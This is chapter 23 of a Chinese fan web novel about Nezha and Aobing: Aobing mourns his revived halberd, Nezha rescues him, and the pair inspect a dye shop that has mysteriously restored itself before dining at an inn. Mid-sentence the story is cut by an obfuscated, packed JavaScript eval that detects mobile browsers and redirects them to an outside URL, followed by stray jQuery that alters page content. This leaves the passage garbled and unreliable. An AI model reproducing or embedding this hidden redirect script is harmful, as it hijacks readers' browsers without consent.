23. 立场

作品:《失忆哪吒追妻手札[聊斋]

    敖丙将长戟横在膝头。


    履霜。


    他默念这个名字,指腹摩挲着,最终触到上面淡去的裂痕。它大部分的伤口愈合了,只留下一些纵横蜿蜒的印记,就像龙族后颈的疤。


    履霜戟碎过一回。


    自此敖丙认为,他的本命法器已然消弭。那场血色淋漓的逃亡中,云海倒灌,天宫倾覆,他拖着残破的龙躯逃出,身后是震耳欲聋的喊杀声。


    当时他什么都丢了,父王、族人、尊严,还有这杆跟随他多年的长戟。


    再后来,敖丙从未试着唤过履霜。


    他不敢,也不愿。


    今日履霜却破囊而出,再次救下了他。


    银发半焦,好几撮被燎得卷曲。敖丙面上缀了些烟熏火燎的淡痕,他也不知道去揩,就这样懵懵地坐着。


    方才他被怪物缠住、命悬一线之际,脑子里什么都没有,空茫茫的。


    哪吒、龙蛋、查案……


    他统统想不起来。


    敖丙听说,每个人临死之前会有一场走马灯,一生种种奔来眼底,好的坏的、记得的不记得的都会走一遍。


    他却只看见了一片白,无边无际的白。


    他想,大约他这一生,也没什么可回顾的。


    敖丙的眼睛红了。


    却没有泪。


    他看着黯淡下去的履霜,那些裂痕敛去光芒,仿佛刚刚一霎的铮鸣耗尽了它积攒五百年的气力。


    “履霜。”他唤了一声。


    戟身铮然。


    敖丙絮絮叨叨说了起来。


    说他这些年的境况,说龙族如今很安稳,五百年没有风浪,说龟丞相和虾兵蟹将们把他护得好好的,说他好久好久没有打过架了。


    ……


    履霜听着,偶尔铮一声,鸣叫声却越来越弱、越来越飘。


    说到最后,敖丙注视着不再回应自己的长戟,轻声道:“谢谢你。”


    谢谢你当年护着我,谢谢你还愿意回来。


    然后,敖丙不知道接下来自己该做些什么了。


    不想查案,不想回去看龙蛋,更不想见哪吒。他只想一个人在这里,坐着也好,躺着也好,没有人来打扰。


    他好像又开始发烧了,额角在疼,被火灼过的躁意从骨子里往外冒。他将履霜戟收回囊中,抱膝坐下,把头埋进臂弯里,就这样昏昏沉沉地睡了过去。


    半梦半醒间,有人拨开了他散乱的发。


    敖丙迷迷糊糊抬起眼,看见一张熟悉的脸。


    哪吒蹲在他面前,乌发凌乱,唇线绷得直直的,抿成一条薄刃。那张脸上没什么好颜色,眸子亮得惊人,一错不错地盯着他。


    对方好像是小跑着来的。


    现在依然轻喘,平复着自己的呼吸。


    方才追黑影,敖丙抽空回了一下头,他看见哪吒被那道青色结界挡在庙门口。但他没有在意,继续追了出去。


    他以为自己能处理好,毕竟,他向来是一个人处理这些事。


    可是他没有。


    敖丙抬起发晕的脑袋,想唤那人的名字,却发不出一点声音。他急了,呼吸不由得越来越快。胸口像是压了大石,闷得他眼前发黑。


    哪吒脸色骤变。


    他几乎是扑跪下来的,一手揽住龙族单薄的背,另一手用力拍着,嘴里说着什么。敖丙听不清,他看见哪吒嘴唇翕动,看见那双黑眸里有什么东西碎裂开来。


    这样的眼神他见过,在渑池——


    现在似乎又不太一样。


    哪吒见他呼吸越发艰难,不再犹豫,弯腰低头凑近,唇贴上龙族的唇。


    温热相触,他渡了一口气过去。


    敖丙推开对方,别过脸剧烈地咳了几声。他抬起手背蹭了蹭唇瓣,有些嫌弃地抱怨:“都是你呼过的气……还弄了我好多口水。”


    哪吒悬着的心这才落回腔子里。


    他追着乾坤圈跑了很远,远到连自己都不知身在何处。


    七拐八绕,穿过几处荒废的村舍,终于望见一座孤零零的染房。哪吒翻过矮墙,看见了坐在雪地里的敖丙。


    小龙狼狈得紧。


    银发被火熏黑了好几绺,长一股短一股,乱糟糟地支棱着。颊边的烟痕还没擦去,脏兮兮,像只从灶膛里钻出来的猫。


    哪吒从没见过敖丙这般模样,呆呆的、木木的,似乎很难过。


    他盯着看了片刻,将龙族从雪地里捞起来,揽进怀里。


    “我们回家。”他说。


    敖丙摇摇头,声音还是哑的:“我想去见见染房的主人。”


    哪吒眉峰凛然。


    方才跟丢小龙的那一炷香里,他心急如焚、火烧火燎,恨不得将整座山都翻过来……好在自己的所作所为最终发挥了作用。


    但是那样的滋味,他不想再尝第二回。


    敖丙却像猜到他要说什么:“别让我白来这一遭。”


    小龙眼尾泛着红,眸光却清清明明的。


    哪吒和他对视片刻,败下阵来。


    “我陪你去。”


    ……


    敖丙和哪吒一齐翻出墙头,他们整了整衣袍,又重新从前门踏入,装作寻常客人模样,要去看后院新染的布匹。


    如果直愣愣地去寻主人问话,称得上私闯民宅,于理不合。两人常年不在凡间,却也知晓些人情世故,商议了下决定这般迂回行事。


    方才哪吒见银发被燎得不成样子,当机立断掏出匕首,沿着焦痕割了。匕首好用又锋利,但哪吒的手法甚是潦草,毛毛躁躁,切过的地方像被野狗啃过。


    敖丙对着雪水照了照,再也不想看第二回。


    他默默将兜帽拉了上来,遮住自己大半张脸,只露出一截尖尖的下巴。


    染房的主人是个三十来岁的妇人,名唤张椿华。她生得眉目爽利,通身自带泼辣之气。嗓门敞亮,说话间露出一口整齐的糯米牙。


    她见哪吒和敖丙两人人衣饰不凡,当下热络起来:“二位客官要看些什么?小店各色布料俱全,苏绣杭绸、蜀锦云缎,但凡说得出的名目,没有寻不着的。”


    敖丙不动声色地打量着,这妇人言谈举止不过寻常商贾做派,没有什么异样。


    哪吒和张椿华周旋:“先瞧瞧后院的货。”


    到了后院,眼前的景象让两人不约而同顿住了脚步。


    木架子上整整齐齐码着各色布匹,赤橙黄绿青蓝紫。地上的积雪平整,连一个脚印也无,更不必说什么打斗的痕迹。


    敖丙和人皮怪物在此对峙,好些竹架被撞得七零八碎。可现在所有物什焕然一新,没有任何的破损。


    哪吒走到架子前,这里原本挂着的几匹布料。半刻前还被怪物喷溅的毒液腐蚀,如今却是鲜艳欲滴。


    他试探着抚过布面,触手柔软,绝非障眼法所能伪造之物。


    这是怎么回事?


    不待哪吒想明白,张椿华已笑盈盈跟了过来,开始推销起自家的布匹。


    “客官可是看中这匹?这是今年新染的烟笼紫,销路最好,镇里好些小姐太太都抢着要。二位若是拿得多,价钱好商量。”


    哪吒看了敖丙一眼,敖丙摇头,示意暂且看不出什么。哪吒思索了下,顺着张椿华的话头说:“既如此,这匹我要了。”


    他又随手点了两匹料子,一匹石青、一匹蓼蓝,都不是张扬的颜色。张椿华


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178385|195932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眉开眼笑,利落地替他包好,又说了好些场面话,才将二人送出门去。


    -


    两人行至一处巷角。


    “你有没有瞧出什么?”敖丙低声问。


    哪吒拨了拨腕间的乾坤圈,面上掠过几分赧然:“那些降妖除魔的法门,我……记不大清了。如今没有法力,纵有什么蹊跷也探看不出来。”


    敖丙不敢再多问了。


    方才他同那妖物缠斗,情急之下偷偷用了符纸。说到底,神仙下凡不得使用法、术,无论自身修为还是外在媒介,一概禁绝。禁仙咒封的是他二人自身法力,符纸却算“术”,调动天地间的元素为己用……


    混天绫、履霜戟能动,是因它们自有灵性,威力也不过平常的武器。当然,如果巡查使通过它们施法御敌,也是万万不能的。


    他觑着哪吒脸色,怕对方追问三昧真火的来历。


    正规教派修炼过的真火,与寻常散仙小妖的野狐禅大不相同,明眼人一望就知。


    若哪吒问起来,他可怎么答?


    哪知哪吒只是看了他一眼,没有追问的意思。


    哪吒心里自有计较。


    他被那道结界困在庙内,眼睁睁看着敖丙追出去。后来发生什么,他一概不知。


    说不定那火不是敖丙放的,是妖物弄的玄虚。再说敖丙狼狈成这样,若是他放的火,何至于把自己烧成如此模样?


    电光火石间,哪吒在自己心里圆了过去。他不打算问,也不打算追究。


    立场这东西,有时候不需要想得太清楚——


    他已经有了自己的答案。


    只是敖丙并不知道。


    他见天色将近正午:“饿不饿?我们寻个地方用饭,可好?”


    敖丙其实没有胃口,胸口闷闷的,方才那场追逐耗去了他大半气力。但他怕哪吒问东问西,只得应了。


    “有些。”他道,“不如去昨日的客栈?”


    “听你的。”


    ……


    菲来客栈。


    伙计认得他们,殷勤地将两人引到临窗的位置坐了。


    哪吒接过伙计递来的菜牌,从头到尾看了看:“清蒸鲈鱼、芙蓉鸡片、虾仁豆腐,再要个素炒茭白……汤就三鲜菌子汤罢,少放油盐。”


    他一口气点了七八样,样样都是清淡软烂、易于克化的。伙计一一记了,陪着笑问可要酒水。


    哪吒摆摆手,只让快些上菜。


    敖丙瞧着哪吒认真仔细的模样,心里有些说不上来的滋味。


    这人好像一直热衷于投喂自己。


    之前周营的饭菜,他也吃不下几口。于是哪吒总是一趟一趟往灶台跑,今日带粥,明日带糕,后日不知从何处寻来一尾清蒸鱼,小心翼翼地剔了刺,推到他面前。


    敖丙想,兴许是迷情引在作祟。


    不多时菜上齐了,热气腾腾摆了满桌。


    敖丙夹了一筷子菜,慢慢嚼着。察觉到哪吒在旁边瞧他,他又夹了一筷子,将腮帮子塞得鼓鼓,做出一副吃得香甜的模样。


    可到底是装出来的,几口下去,再也塞不进了。


    他望着这一桌子菜,有些发愁。这么多,两个人如何吃得完?


    敖丙思忖,要不要寻几个人来分担,又觉得多一事不如少一事。这镇子上的事还没查清楚,平白与人结交反倒会添麻烦。


    那厢两个新客走进了大堂。


    打头的是个老者,一身青布直裰,肩上挎了个药箱。消瘦阴郁的道士紧紧跟随他,正东张西望地看店里的陈设。


    二人似乎也是来用饭的,进门就和伙计打了招呼,寻到角落一张桌子坐下。


    来得倒巧。